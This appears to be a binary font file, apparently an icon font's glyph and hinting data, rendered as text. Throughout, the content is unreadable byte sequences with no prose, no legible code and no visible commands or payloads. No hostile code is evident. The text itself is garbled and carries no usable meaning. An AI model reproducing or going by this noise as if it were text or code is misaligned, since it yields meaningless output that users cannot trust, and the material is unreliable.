   i   ii	i W _ O@Q 

 ~   i   ii	i W _ OYY@=76%$
	 |{qpedML6K7K10)($,%, ##	
 +2"&462"&46!2"&462"&46!2"&46.'7"&'&'&>"'"767>'&'1&'&!'&'&547>762%!654'&'&"&&s&A&[&*0)i	!!')%
,
	2''Z]]Z''53W>=gkkg=>.&&S&&&&&&&&)	\.*%!&+"			CLOSe]Z''''Z]eTC"w}kg=>>=gk}   {c=   ( + 3 V c @*	FEW LRK 		
  g 	g  i  i h Y  i   W   _ O,,))  b`ZXTSQOIGDB?=75,3,3210/.-)+)+"('  ##+3!4&#!#13265"&54?63!2#''##37#"'&5476;54&#"5632;#.'5#"326 	  	O;:%%*.&%!">#(',		!	c	 M q 	<}\\J&%&	&l&)>   jR  B [ p @,65LK
PX@;    	 	i    i  iYa
QKPX@4   	 	i    i iYa
Q@;    	 	i    i  iYa
QYY@]\DCgf\p]pPOC[D[#,+462"&#.?67>754&+"&#&63276;2727632?6"'.'&47>762'276764'&'&"%3%%3%}*
	yhe]Z''''Z]]Z''''Z]e}kg=>>=gkkg=>>=gk""1""#F$	E#''Z]]Z''''Z]]Z''*>=gkkg=>>=gkkg=>   v<  ( < E N W @@= 0)L       Y a QDC@?76-,! +'%'.4>2&'&67%&6762&462".546264&">.>._O& 4;"_	";4"Oz&64>33
)=('?(818;83;
5;5J>&J6;4		5>(44)=f*(?'*817227 18      .  ) E \@Y    i	g  Y a
  Q** *E*DA?<;8631.- ))
 +"'&'&476762'276764'&'&"546232+"&=#"&463}lh>??>hlli=@@=il}dWT1331TWWT1331TW6&&q@=illi=@@=illi=@\31TWWT1331TWWT13&&      m 3 H ] t 9@6l]5LphdcXTSOC?:*)%#I     vji21+?6276/#/&?#'&57'&6?62'#767'&67%76'46?'"&/762'46?'"/ESKKOG2	`pG	Gpd	6)*`KXOy		)		yKX	Kd*yyyd>?d}
}
WB!CSOB"CW
yK\Cd2%:u	
u:!2`C\??`}}`
      m  3 J d u #K
PX@wu^OEA<8	dJ7L3 IKPX@wu^OEA<8dJ7L3 I@wu^OEA<8	dJ7L3 IYYK
PX@4 

  g 
 	
	i  i  Y a  QKPX@.   g
	i  Y a  Q@4 

  g 
 	
	i  i  Y a  QYY@ |{qpihWV0-(%  +7".54>3!2#!.?2?!2654&#!";276'46?'"&/&?'&6?62/%&462"&4?%"/&4?622222*$''&&;2	&6	6&>		T%%T		>
KKK;::KKq2$121qX%'$&&'
:6&22&
6:S:	KK	:S*KK:?;:KK     
      
1  "#01'7''&7>7898967>7''"/.46?>30127'701701676301327&76709898167670181'#01"'18981'2367181676'5'&'.'#01&#&8	9763012	2?64'&/&'897'77'"'&+"0167181675"/.54?#811OW\#0[?	&\	TM@HJK[X#/!O\[ %"'T%$%3+S!D%Z	"\![\\S
@E7F98!$
"&'O\![O*#`B"\!TG!*[S0#W!WO+ 

SF &%)
 (!&"!1%	Z	&_h[[\*S%E*$""&!99     9 ! 1@.     i   Y   a Q   ! !+5276764'&'&"#47676 `TQ0110QTTQ01uA?kook?AA?ko}u10QTTQ0110QT`ok?AA?kook?A    $ \ ` d h l'K
PX@N   r g    gg
Wg 		g_OKPX@B g   gg
gW_	O@N   r g    gg
Wg 		g_OYY@2ee]]lkjiehehgfdcba]`]`_^\ZWUPMHFCA@>96!#%5#!%5!+5#"&=46;2+!232+"&=46;54&#!32+"&=46;5!"32+"&=46;5463!3535#!3535#K				K*K



KK				KK



K(
6



)	

	
		
	

	*^𚚚     jAR  E /@,A	 L       Y  a   Q>;+54>2>54."&'&'&754&"/&'&'&3!26?54'&F 6@6 ,29ata:32@K	*:*"
D6A%$ʲ 7  7 ]7:c9:b:7^	^**Z D7"	#+     $ ,@) L   Y a Q 
 +"'&'&476762'54&">&qa_7997_aa_7997_aU C97_aa_7997_aa_796iu        : 3@0%  L        W _ O&9%<9+#!"'.46?676763!2'!"47>;2!2(		(g+g!&('
)',
	O2"('!!       ) H Y =@:?L    i   W   _  OJIRPIYJYED53:K+&'&3!267>'	#!"&5467>'4'&54>32"&'&2#"'&547>
!	s"1sA
w	*!	z	"{B1#
	6		

[!		      ( A H@EL 
	
	 	  W  _  OA?:720#%5!%5# +3232#!"&=46;5!32#!"&=46;546;5#"&=463!2+,qlmq,p0l,}tt},t   ( ^"K
PX@0
 L#JKPX@0
 L#J@0
 L#JYYK
PX@6 	 		
	
~ 

 g_OKPX@5 	 		
	
~ 

W_O@6 	 		
	
~ 

 g_OYY@   ^ ^][QOHGFE?>64/.-++"/"&=6?>235#"&'&546?>;+354?632"&'"&=#32#"/.46?>;5KK		G		K(G	K	KK    (  ! "@  i   Y  a   Q+"&'&4767622?64/&">|>>><kiܯ!$	Ci||ikkh?>|%%%    c  # @@=  L     g  g W _ O%%3+>3232"'.7#"&573#7#
0S	

[q>'dA	

	A7=     x 7 ,@)    i  g Y a Q5(++"/&6767>#&'&'&6763276+".7DBDN%&BD),,7_\im65n_[jl_>P'%&BCN%&C,_55p^]in648?     (   2 1@.
 L   i   Y   a Q)(22'+327.72654'&'&#&"'&'&476762>/.OR`t`K?/.OR`973}kh<??<hkkg=>>=gk&Xp_QO/0GM)Wq_QO/0>=gkkg=>>=gkkg=>              # ' + / 3 7 ; ? C G K O @,+*)('&%$#"	!  
  v884400,,(($$    8;8;:9474765030321,/,/.-(+(+*)$'$'&% # #"!
	  -+#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#}*T*S%O!K"KGGBCC?::7622..    ( " , < L \ l |     @&L 	g	
	ggg   W  _   O/-zwrojgb_ZWROJGB?74-</<##32&#+#!.546;56;23546;232!3!26#"&=46;27+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;25#n$45#WK

K	X)7Xnz	)K		K
	K

K		K

K		K

K	
K		K
g	K

K		K

K	
K		K
g	K

K	\%35$y%3`	``		`3jr
K		G


K		K

K				G

G		G

G		G

		G		G		G		G		G		        e  @    v+>32"/.47P		\6		        e  @    v#+&'&#"2?>4'		\	6		         @ L     v(+#!"/4&54?62	
5			     8 E +@(         vED?>+"&4?>"&4?>.62.6?6267"&4?62' 'ihN'' $55' 'hiN''&44'* ''Nhi' '54$[('Nhi')45$''      (  " *@'      Y  a   Q+"&'&476762'&"2764'&">|>>><kiFm&%f'Ci||ikkh?>|Fl&Z&       @L     v+62"/&462-1&2&2q&1-1&      ;  ! @   v+"'&4762"'&47620&1,1&&1,1&^1&'5(&21&'5(&2    @  ! FK
PX@     vKPX@   v@     vYY+2764'&"2764'&"&2,2&&2,1%^1&'5(&21&'5$%3      q 4 2@/& L    i  g Y a Q5'*'+4676'"&'.367674.'&'&;2>'EDBDN%&MK*-,8^]il64ohm`	?P'%&BDRLD,_55p^\iml7	?
       X   # A@>   g g W _O #" 
	+"&463!2#"&463!2#"&463!2#`  , Q  6! C!!E   , !+ !,  ,! ,  ,    (  ) 1@.  i  Y a  Q  ))
 +276764'&'&"7"'&'&476762}kg=>>=gkkg=>>=gk}_QO/00/OQQO/00/OQl>=gkkg=>>=gkkg=>l/.ORRO.//.ORRO./   (  @     v+"&'&476762>|>>><kiCi||ikkh?>|      (  ) ; A@>8/L     i Y a Q 52 ))
 +"276764'&'&'2"'&'&47676/546;2dWT1331TWWT1331TWd}kg=>>=gkkg=>>=gk	!lC31TWWT1331TWWT13W>=gkkg=>>=gkkg=>	X6
!     E R =@:B%#<. LJ:10 I     vGFMLFRGR?>+%'6'7>5&'&&'54&'&'&?7>=676767&'&".4>2KKCK57
``	>+K	@ KKDK94	a_
<0K?!f'A&&ANA&&A*?9*WP*(SW*.	H_)@9*TS**WW**Eb%ANA&&ANA%      M X   K
PX@57 MJ@
ץ}sqgcL0)$"JKPX@57 MJ@
ץ}sqgcL0)$"J@57 MJ@
ץ}sqgcL0)$"JYYK
PX@;     g  i  i	
i Y _OKPX@5   i  i	
i Y _O@;     g  i  i	
i Y _OYY@³POLK=;64'+'&'.?&'#"&5&746;67'&767267676332+&//>'&/'.=&'&'&'&6?&7'.76767>676754676766'.'&'&/.?&'#"5&746;67'&6767667>32+&/>'& 	


((2

-	
)2:&)*	&-2
	
	*17%+)
+	27&*'7&*


C((	

		T((.-
--"
,/*2	2.
$	2*-P'*&7'*'7
	T((       ? ] l@iIC%	F3	L  
 
i 	 i		Y		a 	QA@
	 TS@]A]640.??	
 +"264&3"264&3"264&"327673276764'&'&"/6?'&'&5476762,""0""""0""""0""{kh=?.II26J]}kg=>>=gk}DJ)"62&31TWWT1331TW ,  ,  ,  ,  ,  , 520SVd<:61 !"20RVUR/1z"+2&&.1LA?%&&%?AA?%&      (  / A L2K
PX@5#	?	-LKPX@5#	?	-L@5#	?	-LYYK
PX@< r    g  	g
 	
	ggW_ OKPX@6   g  	g
 	
	ggW_ O@< r    g  	g
 	
	ggW_ OYY@#CB10EDBLCL><970A1@,*'%//#73+'.#!"#&3!26=32654!"&546;;7!"&546;;##5323k\	#0&1"#0#01"	mV[2%X("12%X2%&P&	p#4K&	qZ   F  / G o J@GF5 ,L       i  i Y a Qa]*+2767#"'&'.=2767"'&'&'&=72767"'&'&'&'&=62#"'&'&'&'&=467676nlZ<-C(bQkH\%=Yfd]9AAGG\%
(6nl\:->DHH1#
;xGH0#.#%62+A1$'# 2'(PP(&O!	O'O 
O':
 :      (  ) I D@A  ~  i  Y a  Q EC53 ))
 +"'&'&476762'276764'&'&"#"'&'&'&5476767632}kg=>>=gkkg=>>=gk}_QO/00/OQRO/00/OR ")' ")$l>=gkkg=>>=gkkg=>l/.ORRO./0/ORRO/0")' ")'          @ *@'L      v"!30!@"@.6+6#!"&5467276?67627676767676=4&#!"
2%#4
+gq*-&"**dg6X"	c 2%%2X" #53%j!NS!MM(uK!#52&!E   (  % <@9L    g Y _ O "
 +!2#!"&546	27>?4&#"}#00#"11u&1O

(0#"11"#0t1&O
    0 ; ;@8732-"	 LKI   W _ O ;9 00+2"/+#'&?5467'.54?627>	';>*	h2`2	\p:	2`2h2f\O*2Bh2`2	:q_	2`2hY
XK       @      v#53+#!"&546;2!2K2f2KJ32Kn3Jt2KK23JK2J      g@SD6
LVKK
PX@B   

 
	
	~     g Y  		i aQKPX@6   
	
	    g Y 		i aQ@B   

 
	
	~     g Y  		i aQYY@ggfdba`^PO875420/.*+3'&'&5>763267673"&#"#5737672627527=4'&'&'&'&/#42;"'&+W{	 Bh
"!6S6?.9"B	12%*.+1@2*	;:D6	$7 
	*	
'"	*      (    )@&  i  Y a   Q  +276764'&'&"2*>=gkkg=>>=gkkg=>\PN-//-NP^}kg=>>=gkkg=>>=gk-/-NPPM./      (   ( c@`K  ~ ~	   g g
W
_ O  '&%#( ( +!"#&3!26=3265.!!7#4&#!5!g%2T%22%?#5W#54?X2%t?(1&X1&#02%X2%7&1s#5S       1 @' J   v+..267>'&'.767>7>_4113@%18$&#84)j",#XX#:?!XZ", +*11*+6KF180EL9"_03&!C>!"3.a"      | 7 I 9@62 E<(&L     i Y a QB?+#+6762"'&'&>26764&'&#01"&5?636/546;2!7^mj\_l35\`7-,'CBKO&%NCAFC	!lC
y'856mj\_k35`-C&%NCA&#'B	X6
"         ) 7 h@e61,L 	   g
 i g W _ O+*"! 43/.*7+7&%!)") 
 +!"3!265."&5463!2#!"264&!5'&"'&"g%22%#53	+++9*)e`KK1&#42%/&1~		+8++9*_ħKK   (   F <@9 i  g   W  a  Q 64'%
 +276764'&'&"2"&46.547>;2+'&'&5467676=4'&}kg=>>=gkkg=>>=gk}'>	y			

l>=gkkg=>>=gkkg=>**	
	       # J &@#       vJI43#"+6?>&'&"&4?>&'&4627.6?62'.6?>7:u T"2,2)poR!+y+qo) />8:y8:6+ 6)o78R +y+qo)-Ey87"2 +2+!Roq+u+ )+ y876 +6* Roq+y+ )+     3  @    W _ O#++%/&4?6!2#!$		\%%

	p&2%     3  @    W _ O#++%?64/&!"3!

%%\

	p&2%     <  @  L     v5+"/&463!2;
     % G @D/	 J   v)'+&'&'&'.'&54767676?676#"&'&'&57676767676s@3-<Ea',Cq?b !"( `{RG	
  :EW',%C2*$77:

",A#,         * 1 >@;/.-I     ~  Y a Q10,+$#+"/&4?62%?64/&"&4762'3'73|KKA`S":Oh2:OOdC.B%b?;l    (  ) 7@4~    i Y a Q###%+>2"&'&4#";26=3264&+54&"h>||>>&&Ci||||ikL&&     8 H _@\2	L  

  		   
 
ig		Y		a 	Q:9  A@9H:H76*)   ###+546232+"&=#"&463#"'&'&476762"'%2>4'." , G  G , G  Q/n;eUS0220SUUS01$# +EwF$"wx"$F;<G  G ,!F!!F!, #$20SUUS0120RVd?n,, Fw<:FF:=x"$       # / ; G r@o  	 	  

g g  g 		Y 		a	Q=<10%$ C@<G=F740;1:+($/%.#"	 +%132"/&>;462"&463!2#"&46;2#"&46;2#"&463!2#S	S!, &&&&&&%%&&:%%:&&%%

L%% ,  ,  ,!!,  ,  , q ,  ,        5 @@=  ~g   W  a  Q2/(%"55%#	+	"&=#"&=46;5462#";2+".54>;2$$0 00 /O--O/="00&-O/^/O-&   (    & 0 9 B y@v.L     ii	Y
		ia Q;:21('?>:B;B651929,+'0(0%$! %+"&54>32"264&"264&4&"26"265.!"264&"264&L3J2(#5X#43G54O#52K22I3I/2J/#52L12#52L12#53J24#55#(2I3I/2I0w3J24F5X#54G433J22%%33J22K22J32K2     (  @     v53+#!"&5463!2fDHcfE?Gc~HcfE?Gcf     +  ( & 2+/.?>'7>&''7'?q
((
p*())*)hl&&!*$yy
#,"uu&%     +  2+?>'7>&/.p*)))q
((&$.#
uu
#,$&         # / R@O g 
g 	g   W  _  O%$ +($/%.#" 
+"&463!2#%"&463!2#%"&463!2#%"&463!2#h%%%%%%%%%%%%%%%%!,  ,! ,  ,  ,  , !,  ,!         # / R@O g   g 	g W _
O%$ +($/%.#" 
+"&463!2#"&463!2#"&463!2#"&463!2#&&l#&&&&&%%%%&&'' ,  ,  ,  , !,  ,!q . ,!      5 Q @LK
PX@"       W  a   QKPX@     W a   Q@"       W  a   QYY@	.->))+>54/&'&#"32"'&'.'&=4>;2#"/&'7654'&'&#32		&9	 Z

mZ		
Z	
%
Z
       # / R@O g   g 	g W _
O%$ +($/%.#" 
+"&463!2#"&463!2#"&463!2#"&463!2#h%%&&%%q&&%%%%%%%% ,  ,  ,  , !,  ,!q!,  ,!       # / R@O g   g 	g W _
O&$ ,)$/&/ ## +!"&463!2!"&463!2!"&463!2!"&463!2&&%%&&q%%%%%%%%%% ,  ,  ,  , !,  ,!q!,  ,!      (  , %@"&L       v+"&'&476762764.'&?>'>|>>><ki}&}}%}}'}}#Ci||ikkh?>|}%}}$}}%}}#   (  3 ; ? O q@n1M L   
 
~  g	i 

W 

_ 
OB@ JG@OBO?>=<;:76.,)&#!33
 +%32654&+"#'.+"#";3!265326=.%4;2#!!32654&+"L)

)
&>%%:2"#00s*		*
?			|\dd#42%X22PX			|   k  R d@a<2R=('L ~ ~ ~	   i Y _ O OMIGCA87/-%#	 
+!"3!2>54.#"'&'&'&#"#"&5.546236763232767632	Y.--.s
6N'6&C5#
-Y---	"Y	&& $
		   (  & ; H Q \@Y L  i  		ii   i   Y   a
 QJI=<('NMIQJQCB<H=H21';(;%$#+%327&'&#"'67632>54'&'&""'&'&476762".4>2'264&"9*/11bZ*/F9dr3EHOWT7-&)/.ORRO./3}kg=>>=gkkg=>>=gk}1R00RbR00R1++8++:6"0=!#-5-r>_QO/00/OQ_<;8>=gkkg=>>=gkkg=>0RbR00RbR0l+8+*9+            @ L   v 
 +!"3!2656.>54.?6,+ ,$%&+J(*!;tt
        @ J   v+&'&'.27>'&g1>;v-&!-xz/7 1Z0Z1)

(.&&-''/DA3b1BE       % / @J     v,+('+	.67&767676226?264.u65&w.0D@='":G	//!"I*65w=>A-1N
>G>3+!	$     (  3 A C@@L  ~    i  i Y a QD,+>2"&'&4356?>54'&'&#"347676322654'&"h>||>>T&%"7&`	"/3Ci||||ik'6:&3	 "      .  ) S b b@_QL  ~  i  i  		i  Y a
  Q _^XWSRFD@?98 ))
 +"'&'&476762'276764'&'&"4?67>767654&"#47>32#4762"'.}lh>??>hlli=@@=il}dWT1331TWWT1331TW6
	4`*4!F'%X1/	q@=illi=@@=illi=@\31TWWT1331TWWT130	B!AX    (  + @ G@DL     i gYa Q-, 76,@-@'$+ +$	+%/#"'&'&476762%!2#!"&546276764'&'&"*2|Gk\Z5665Z\\Y56RFC())(CFFC())'DF))*65Z\\Y5665Z\jBA;)'DFFD'))(CFFC()      (   1 [@X    
  g	g W _ O 10-+('$" +!!72#!.54635463232+"&=#"&463c"&12%&12%A&&[1&#53%&1d&&   (     A@>  g g W _ O   	+!!72#!.5463"&463!2#c"&12%&12%&[1&#53%&1&&   (   $@!     v+>2"&'&4!264&#!"h>||>>BCi||||ik&&     .  ) 5 B@?  i g  Y a  Q+* 1.*5+4 ))
 	+"'&'&476762'276764'&'&""&463!2#}lh>??>hlli=@@=il}dWT1331TWWT1331TWyq@=illi=@@=illi=@\31TWWT1331TWWT13E&&        - @- L  v)(! +'&462"&47.7>"/&4?62J} ++ &,&--,}9},+ +&'+ +,}          6 3@0  i   W  _   O65#6)7+#!".54>7>32;26=32?64/&#"31R04X3>i>5]:&PDwP
}	K	
6U15Z4?k?<fAIV=m

		     , 6@3L    i  Y a   Q%$,,"+%#"'&'&476762"'%2>4'."/n;eUS0220SUUS01$# +EwF$"wx"$F;<u#$20SUUS0120RVd?n,, Fw<:FF:=x"$    (    $@!     v  (+476762#"&'$%2>4."h64Z\\Z467
$"9""9D9""9k\Z4664Z\k]-0E!:D:!"9D9"    gT , j E:K
PXA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LKPXA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LYYK
PX@N		 		~ ~ ~  i  

i    i Y  i a QKPX@I		 		~ ~ ~  i  

i    iYaQ@N		 		~ ~ ~  i  

i    i Y  i a QYYA  l k=<     t s k  l  h f O M J I D C , *      +6"'.'&'.767&76767676766?6?37>&/7>&/76'.'&'&22767676'&'&'&76767676'&'.'&767676&'.?6?67676767676&&'&>76?>126?6?676767>5''&'&767>76.3'&/&'.LPLJ-/.0
"51;F-,k-1shC7(&'
	)*=!FDOR6$#%!$19U_($[IA7+,	)'R355
9IF<>/
!	

 
	':) 

		8"
		#
		
.

1$1%@BRUb$5wj")4 !2a7(&h47*8><-.N/.'&36/"0,[!8R)6.&]h-NE71.?	
+*,d	
:&H=
'* 1R 
07

@=!J'( 		+

N$-)
>6,$	>(%7	 8C$9    ~A  " 1 : D N @ -(%L  
 
g 	 	g  g i W _ OFE<;32 JIENFM@?;D<C762:3:0/'&"" +!2!"&/467!!"!2?4&!57>7>%2"&462!5463%2!5463"1.""2.",KN**:+*SX.""2."."2V|ŇKN5+:+*<***t**      ( - ?@<  gW_ O '$! 	 -,	+2+"&=#32#!"&=46;#+"&=463AQRA(BBBnB       ' w  AK
PX@/ut.q1edb=<:6
 WVSKJGE!
L2^KKPX@/ut.q1edb=<:6
 WVSKJGE!
L2^K@/ut.q1edb=<:6
 WVSKJGE!
L2^KYYK
PX@(          vKPX@$        v@(          vYY@pn'%	+?3?#!"&'54>73%6276#+''"&=&/&'&'&'4737&75/.767>;6?546&32656&2".4>3m0)&&(4X4!13&)	&&&% 	13&&&&%Q*	#(84X44XhX32XM#		&<,
&C5Z7x2	0'2&-2	1&2		-*(4YfY43XjX3    jR   ) 5 D R b n ~   @rz9
	OH
@L{sA
:K  g  g g g g 	i
 
g	 	i g i W _ OoodcTSFE66+* o~o~wvjgcndm\YSbTaMKERFR6D6D?=1.*5+4# )(	  +2#!"&5463!!267%2+"&=4632#!"&463'2#"'54672!"&5467'2+"&=4632#!"&463'2#"&'54672!"&47!"!54&'V&&<&&
		*				_		S
.

"	
[	
O		*				_		S
.
"	
[	<
R%%%l%&		*

*	
-.
		*		*	
.
.	
mi    ! % H@E L   g gW_ O %$#"	 !!	+2!32!"&546735!"&'467!!k".,#".,#,#[".KK,#".S_     ! ( 7 @,@#L
KKPX@H  
r 		r W  g 
 
g  g		W		` 	PKPX@I   		r W  g 
 
g  g		W		` 	P@J   		 W  g 
 
g  g		W		` 	PYY@-*)"" ?>;:652/,+)7*7"("('&%$
	 !!+#532>/&";#"3!26=6&%7##5!53;26=3'"&462sd ,@* d,, +*c,,>  42.>>-7+ ,,,g2,,2d      V  @ LI    v)+654'&'&"327765$0/PSSP/00/PS`AQ2:LZNK,..,KNML,.	)     k  % 1@. L    W  _   O%$"7+#!"&'!2>52!".'4>7&-8_91Y-M-!8"5!!8"5!Y19_8-&-M-5!!8"5!V!8" 	    3 G V j ~   K
PX@{T;
 LKPX@{T;
 L@{T;
 LYYK
PX@l  

     	g		g ii  i  

g W _ OKPX@d  

    	g		gYi  i  

g W aQ@l  

     	g		g ii  i  

g W _ OYY@DmkXW  wtk~m~b_WjXiPO65-*'$32  +%1#.=462"&54&#!"3!2#!"&546362"'#'&?%6"'&?'&2+".=4>3#";2>=.2".4>"264&72"&46F	B
CV(3v

}(44(???O,
S
SB>'A&&A''A%%A'.../q!7!!7B8  8! //@//a	;)		R!!!;)z);BCSP
X
WGB%A''A%%A''A%)....C!7B7! 8B8 *-D--D-?          * 7 l@i %$L
    	 i i Y _ O,+ 21+7,7*) 	 +2!"&'467"2>4.%#"'&/767632".4>q".,#".,#=j>>jzj>>j
1. "-2#9!!9F9!!9,#".,#".h>jzj>>jzj>!I}!9F9!!9F9!      R  & 3 C [ e i r          3K
PX@% &G	W
P!LKPX@% &G	W
P!L@% &G	W
P!LYYK	PX@r  p7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OK
PX@r   ~7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OKPX@   ~7#6!5)'%&%g*(&$" & g432g+ , g1/.		g-0
i

g  i W _ O@   ~7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OYYY@ȹtskj]\ED54(' ǹƱ|ystonjrkrihgfa`\e]eUSNLKJD[E[=:4C5B.-'3(3&& 8+2#".'54>7#"32>754.'2".4>%2+"&=463!2#32#"&'5467"2654&%#3%2"&462+"&=463!2"&=#32+"&=463#3%2"&=#"&=4632+"&=463!2#"&'5467!2#"&'5467#3%#3%#31%?'#=%%@'#=%&;6%,*`!8  8B8 !7

yu

y /-E,/צ}

}}H_c$$^#=%%?($=%%@'*6%&;*,B 8B8  8B7!		C-B/-" /'	)m		mm		m$*     k  @ I  v$#+&'&#".#"67676N5.:7\Z7:/58.cR\\Rc.8J&!:..:!&JWmZ_O==O_Zm   ( + N@K( L	   i Y _O $"! 	 +*
+!"3!#53547632#"3#!2>5.#Z4./42Z"*$>,u.<)(./+8q_31}#`.*:       ; ?@<:853& " L         v%$#)+#"'232767"&'2327.=.47&54>326767_#$BGah}	@<94=_ +D'#1&.Fegr2V3)H:?
+C*-`]`LP-0T'H95M-	Td-V353V2# 7	9    ) l J@GV1+] L   i  i   Y  a   QhgNL@>75')%+#"'7676?327>54.#"674674'&'&5&67632#".76767654'&#".'&5476762><gj{CB):!D75>IN^GA$"		0-1>7X1A'#&U$&><gjjg<>b{jg<>
I&1.&%NJxE(%@>H"H%
2Z.T5=0/4'("2
dh(!SV^{jg<>><gj      1 G a w@t\BT< -L
    ~	gW_OHH32 HaH_XWSQ@>:92G3E+'" 11	 +2#'./7>?357>!232#"&/5462"&/5#"&/46?!#"&/57>?_ @     + (!          % 8 K @B/
G<4)	! 	L 
 

 		 	 ~  ~  		g  W  _  O:9'& EC@?9K:K20-,&8'8%%
 +2"&'5#"&'5467!"2675326754&'%26754&"#"!"&'546232k ,!+ ,!+              0 < L X \ ` l x           (  2#!"&'463!"3!2674&#2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463%2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463%2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463)<8()<8( #"#"a

S

$		}

M		S

#

}		))**		}



}		

S

$		}

M		S

#

}		))**		}



}		

S

$		}

M		S

#

}		))**		}



}		3%H&63%&6*L	S

S	TT	S

S	T****T
S

S
SS
S

S
S))))S	T		T	SS	T		T	S****S      j(   ? \       @=`Ȱ3+9mYQ
;%

LKPX@y	
r$ ( g#!" i  g& gg 'ig  		g  
g
%
h W _ O@z		$ ( g#!" i  g& gg 'ig  		g  
g
%
h W _ OY@_ˮ]] ½ʮʨ]]xwlk\[WVSRONKJCBA@?>7510*("!	 )+2!"&'467!!267%"/##"&'54673'46737232'!37>354623546232&/./##'.67367#"&'546?!?3235'5'46732"#"!54&/#"&5?4&!"!54&'"&462"&462"&462)<8))<9)\l $T/"A!(:!1	./*)v
	
		
v	

SE
S	$ ST(6'(:6((:v!
#2P''L+ \3	7.	
2.	
.
c		,
		
h*	=p	daGB"?		       # N l o    @

&ledG3t\[PS<	R	uonQ
L 

 ~ ~ ~ ~ 		~ 		~ ~  g 
g W _ Oqp pqhg_^VU+(#"
 +2!"&'46?!"!2674&'7673/&?'.?>7'".?'".?'".?7"6574/&'".?62%7'".?'".?'".?)<8))<8)$ $ 7d5gba		

lTbx7(c{ab	
	2%I%62%%6*KV87d3haa		hkax	7(caa		      % <@9  g  g W _ O "!%%
 +2#!".5463!3!265!"!4&0<,0<,Vl%&>&&*P(3)(4eu         $ H@EL  g  g W _ O  $#	 +2#!"&'463!3!267!"!54&#)<8()<8(^l"#>#"3%H&63%&6OK    j(  : A N [ p ~       @6,+¿
|u	{	m`aA	LKPX@'%#!r4r1 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ OKPX@'%#!4r1 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ O@'%#!41 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ OYY@qq]\POCB q~q~yxlked\p]pUTO[P[HGBNCN?=<;:93210*)('! 	 ;+2!"&'467#35#"&46?35#"&46?35#"&46?35#"&46?3%!!267%2#"&46?32#"&46?2#"&46?3546?2"&'54672"&'546%#3%!3546235462354623546235462354623!"!54&'2"&4632"&4632"&46)<8))<9)0h 0*
**
**
**
*,$Q	
.
	
.

.

	hh,>SSSSS)>$ 	\\	(8))<8)*<$SSSS> )
*}
*	
.}
*	
.hhh*
**
**
**
**
**
*!D>#)      j(       $@3x3'wpo;:nUB<!mkF>=
e[G	
	LKPX@Qr 

p  gi  gg
	
	h W _ O@S 

~  gi  gg
	
	h W _ OY@= usih_^WVTSNM87+*#" 	 +2!"&'467!!2672#7#"&/4673#3"&'5546?2#"&4673'32#/54627'#"&'55?37!"!54&'"&462"&462"&462)<8))<9)\l $		KG

}
KG

^$ ST(6'(:6((:v!
{		KG
z
}	
GG	9GB"?		      # T    @X'
f_5.~KztFAL$
K

 
 gY	g i W _ OVU |{wvsrihcb^[UVIHDC@>7621-*## +2#!".54>3!"3!2654&2357>23#"&/5'&5476?6?6!2357>23#"'&'5'&=?>'2#&'&'&'&'&'&4767676767&67>76?6/&'&'&0000$$$$V		dEVdD

	!	
	
	
	+P+++*P
	4	55
3(w	
4557w#%(!&&
2 ,	
  	    U n      f@<R NGQPF|r<+;,{se	*!	
LKPX@K r 	r g  g  g
g  		g   W  `   PKPX@L  	r g  g  g
g  		g   W  `   P@M  		 g  g  g
g  		g   W  `   PYY@-oooowvihXWKJBA@?&$UT+!.'>7!7>!#!7>75'&'&6?6746737!"&/5467!275.'.6?>&%2#"&/467#3776?67673?76.!!8'(77(N#5 H  H!!$%f04"	
	
">!@
'b(	
Ի}"!@2#5sH

!$D'77'U(7."7 @   5'W!$*
	m5 "#
54	
$)*
: XUk+'t}      # 9 G T b p ~     @*
1
L   g$#g"! g		i g 
g 
 
i g W _ OrqdcUUIH;:%$ ywq~r~kicpdpUbUb][ONHTITB@:G;G42/.$9%9## %+2#!".54>3!"3!2654&2/#".4>2!"&46?%"2>4.2#"&46?%2!"&46?2#"&46?!2#"&46?!2#"&46?%2#"&46?!2!"&46?0000$$$$(D(GJ)/(C((C	
	
00:01	
#	
	
	
	
	

w	
}
	
	
	
+P+++*P(D(2'IK(CPD(1:10:0h}}}   	    # 1 ? V d g u  @L  g g g  	g	 
	
g g g W _ OwvihXW32%$ ~|vwpnhuiugf_]WdXdJI:82?3?,*$1%1#"
 +2!"&'46?!"!2674&'2!"&46?%2!"&46?&/#'#.?>2!"&46?'3%2!"&46?%2!"&46?)<8))<8)$ $ E	
f	
	
f	
ziwh'	
	
-Y	
	
M	
	
2%I%62%%6*K}mFF$}S}     j(   < ^ o s        @|^lb
	zYA
kcL  ~ " g%$#i  gi! g  i  g  	i	 
	
g  g W ` Put__ Žtusrqp_o_ohgKI>=,+<@<	 &+2!"&'467!!2672/&/.54>"33?6?6?'./2#"&'5467#3"67&54>2654."264&%2#"&'5467#3!"!54&'2"&4632"&4632"&46)<8))<8)]l!$>j=(#			

',=i>%?

		
9"

!3V2#6"080"6#3V3%%3%%

?$!	\\	(;*+>;*+>~&#=j>2X 	 ]4?i>% 
)	W
X)*M2V3<11 .00. 21<3V2S$4%%4$S	W
X)*#@:&)   	  =   / @ Q b    @άf|_WNF=5+#L   g  gg 
 g	W	_OccSRBA10!  cc}yxutonig[YRbSaJHAQBP970@1?)' /!/	 !+%2#"&'5467!2#"&'5467!2#"&'5467#";26=4&#!#";26=4&#!#";26=4&#232"&54&'##"&'5#""&54>735462#"&'5467#"326754&'&hhzhd	h
wd	h
d	h
E'C(7)
/%@%\)<8()<7(#!#!Ohhhhhh)h
h	h
h	h
h	w
l(C'

)<h

l/
